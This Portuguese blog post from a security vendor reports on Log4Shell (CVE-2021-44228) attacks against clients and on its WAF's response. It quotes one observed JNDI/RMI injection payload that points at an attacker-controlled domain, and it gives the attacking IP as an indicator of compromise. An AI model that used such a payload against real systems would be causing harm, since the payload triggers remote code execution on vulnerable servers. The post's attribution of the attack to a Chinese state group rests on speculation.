O Log4J e a XLabs Security

O Log4J e a XLabs Security

Há algumas semanas foi divulgada a falha Log4Shell, que afeta versões inferiores a 2.15.0 do aplicativo Log4J da Apache, ao qual envolve uma espécie de injeção JNDI que carrega parâmetros LDAP de um possível invasor, causando até mesmo execução de comandos dentro das plataformas afetadas pela falha.

Desde a divulgação da falha catalogada como CVE-2021-44228 estamos monitorando as atividades maliciosas contra clientes e até mesmo contra nossos próprios sistemas. Logo após sua divulgação, no dia 09 de dezembro de 2021, houve tentativas oriundas de países asiáticos, mais precisamente da China, na intenção de atacar grandes clientes nossos, ao qual operam um dos maiores Data Centers da América Latina.

O ataque propriamente dito, foi muito bem direcionado, indo em direção a uma aplicação “Confluence” desse nosso cliente, aplicação mantida pelo desenvolvedor Atlassian. 

Passados alguns dias a própria Atlassian, no dia 21 de dezembro de 2021, confirmou que plataformas “Confluence” estariam vulneráveis a execução de comandos remotamente através da falha Log4Shell, o que nos levou a crer que o cliente em questão estaria na mira de algum grupo avançado de ameaças persistentes, provavelmente patrocinados pelo estado chinês, devido a importância e o tamanho do “alvo”, além das questões, localização da origem do ataque, a informação “privilegiada” antes mesmo do desenvolvedor confirmar a existência da falha nas plataformas “Confluence”.

O IP de origem do ataque foi 114.254.20.186 de Beijing, China, e teve padrões de injeções RMI, outro padrão de verificação da falha diferente da exploração por LDAP, o Payload utilizado foram variações do tipo: “${jndi:rmi://XXXX.l.i.yunzhanghu.co:443/abc}” utilizando-se do domínio “yunzhanghu.co”, domínio registrado em 15 de Junho de 2020, e muito pouco conhecido por atividades maliciosas na internet, outra razão ao qual desconfiamos de um ataque muito bem direcionado, informações estas obtidas através de consultas a plataformas de IOC’s, como Vírus Total, Cisco Umbrella e demais outras plataformas que possuímos acessos para rastreios de atividades ilegais na internet.

Ainda sobre a falha do Log4J, ao monitorarmos as atividades contra outros clientes, identificamos muitas variações da exploração da vulnerabilidade, atacantes concatenando strings para formar a palavra JNDI, ou LDAP, que foram as primeiras palavras adicionadas em mecanismos de defesa como principais assinaturas dos ataques.

Para deixar nossos clientes mais tranquilos, informamos que para as explorações mesmo em situações como esta de um “0day”, durante o 09 de dezembro de 2021, no dia da divulgação da falha, identificamos e mitigamos explorações sem ao menos lançarmos assinaturas para a detecção da falha, pois nosso WAF identifica os padrões fora do normal de uma requisição HTTP, e as requisições da exploração do Log4Shell são enquadradas neste tipo, uma requisição fora do padrão HTTP.

Para sermos ainda mais assertivos, no dia 10 de dezembro, começamos os estudos para a manufatura de uma assinatura para a mitigação da falha e também para as suas variações e tentativas de ByPass, no mesmo dia já lançamos as respectivas assinaturas. Nos dias seguintes à divulgação do patch da falha, surgiram outras fragilidades no Log4J que até mesmo podem ocasionar a paralisação de sistemas através de um “DoS”.

No dia 20 de dezembro, após termos uma base de dados bem sólida dos ataques, passamos para a questão cognitiva do nosso WAF, ensinando nossa inteligência a reagir perante a identificação dos ataques, ao qual nosso WAF identificando e barrando a requisição maliciosa, já estabelece bloqueios dinâmicos às origens desses ataques.

Ainda durante o dia 20 de dezembro, concluímos a aplicação de melhorias do nosso WAF e nossa Inteligência, aplicando diversas melhorias na plataforma, incluindo a distribuição de blacklists dinâmicas entre os próprios WAF’s, melhorando a questão da performance no bloqueios de ataques, dos mais variados tipos que nossa inteligência identifica.

Essas modificações são tão importantes que decidimos trazer num post futuro em nosso blog. Obviamente, nossos sistemas passam por contínuos aprimoramentos, desenvolvidos e testados durante o mês corrente e aplicados gradativamente em nossa plataforma durante as primeiras semanas do mês subsequente. 

No gráfico abaixo, podemos perceber a quantidade de requisições chegando a nossos clientes nos dias que seguiram a divulgação da falha, e logo após o dia 20 de dezembro, as requisições começaram a reduzir e serem suprimidas pelo nosso sistema de inteligência juntamente com essas novas melhorias que implementamos.

Mas, e os sistemas da XLabs Security? Estão protegidos contra o Log4Shell?

Provavelmente você se perguntou também se nossos sistemas poderiam ou não ser afetados por esta falha, que por sinal ainda existem muitas outras aplicações a serem mapeadas para sabermos a existência ou não da falha “embarcada” em tais sistemas.

A resposta para este questionamento é, depende. Estamos ainda avaliando a estrutura de softwares que possuímos em nossos ambientes, uma informação importante a ser levada a nossos clientes e investidores é que nossos ambientes expostos a internet, passaram por um rigoroso processo de verificação, e até o momento não identificamos sistemas nossos vulneráveis a esta falha. 

Avaliamos também nossa plataforma de WAF para a identificação de possíveis falhas em plugins e/ou em aplicações que podemos utilizar internamente para monitoramento de nossos servidores, e até o momento não foram constatadas aplicações vulneráveis internamente em nossos WAF’s.

Obviamente, nossos WAF’s já possuem a parte web deles protegida por eles próprios, inclusive identificamos diversos ataques contra nossas próprias plataformas de WAF’s envolvendo a falha Log4Shell, mas todos mitigados e barrados por nosso WAF. Porém, não podemos nos basear 100% na proteção do WAF, mesmo assim, analisamos nossas aplicações e sistemas internos na busca de possíveis brechas.

Continuamos monitorando a situação e a lista de aplicações afetadas pela falha, além de estarmos lado a lado com nossos clientes para uma melhor análise e forma de mitigação dos riscos que essa e outras falhas podem ocasionar.

Confira abaixo um resumo dos principais acontecimentos desde a divulgação da falha.

Referências:

https://github.com/NCSC-NL/log4shell

https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046

https://logging.apache.org/log4j/2.x/security.html

Gostou do artigo? Compartilhe.

LinkedIn
Facebook
WhatsApp

Faça parte da nossa lista de emails!